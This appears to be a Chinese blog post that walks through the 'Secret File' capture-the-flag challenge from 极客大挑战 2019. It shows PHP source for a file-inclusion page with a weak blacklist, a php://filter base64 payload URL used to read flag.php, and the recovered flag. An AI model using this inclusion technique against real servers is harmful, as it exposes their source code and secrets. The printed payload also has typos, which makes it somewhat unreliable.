[极客大挑战 2019]Secret File 思路

绝密文件，打开首页是这个

 

 之后我们打开源码发现了一个页面，我们跟进去

 

 出现了这个页面，页面中还有一个链接，点进去，然后发现让我们好好看看，看源码本来是action.php,点完链接迅速跳转成了end.php

我们就尝试抓包，然后看看有什么鬼东西

 

 发现了这个文件，这我们就去看看这个文件是什么

打开一看是一段源码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

　　传入的file经过了一些过滤，但是没有过滤filter，我们可以用php://fileter来获取文件。构造pyload:http://70d95c7d-3a5d-4e36-b67e-e133cea4e17d.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64.encode/resource=flag.php

然后我们得到了base64加密的字符串，我们拿去解码就得到了

flag{0e61f5fe-de22-4b9d-b0b9-eed76efc3e68}

 

posted @ 2020-09-21 21:20  junlebao  阅读(457)  评论(0)    收藏  举报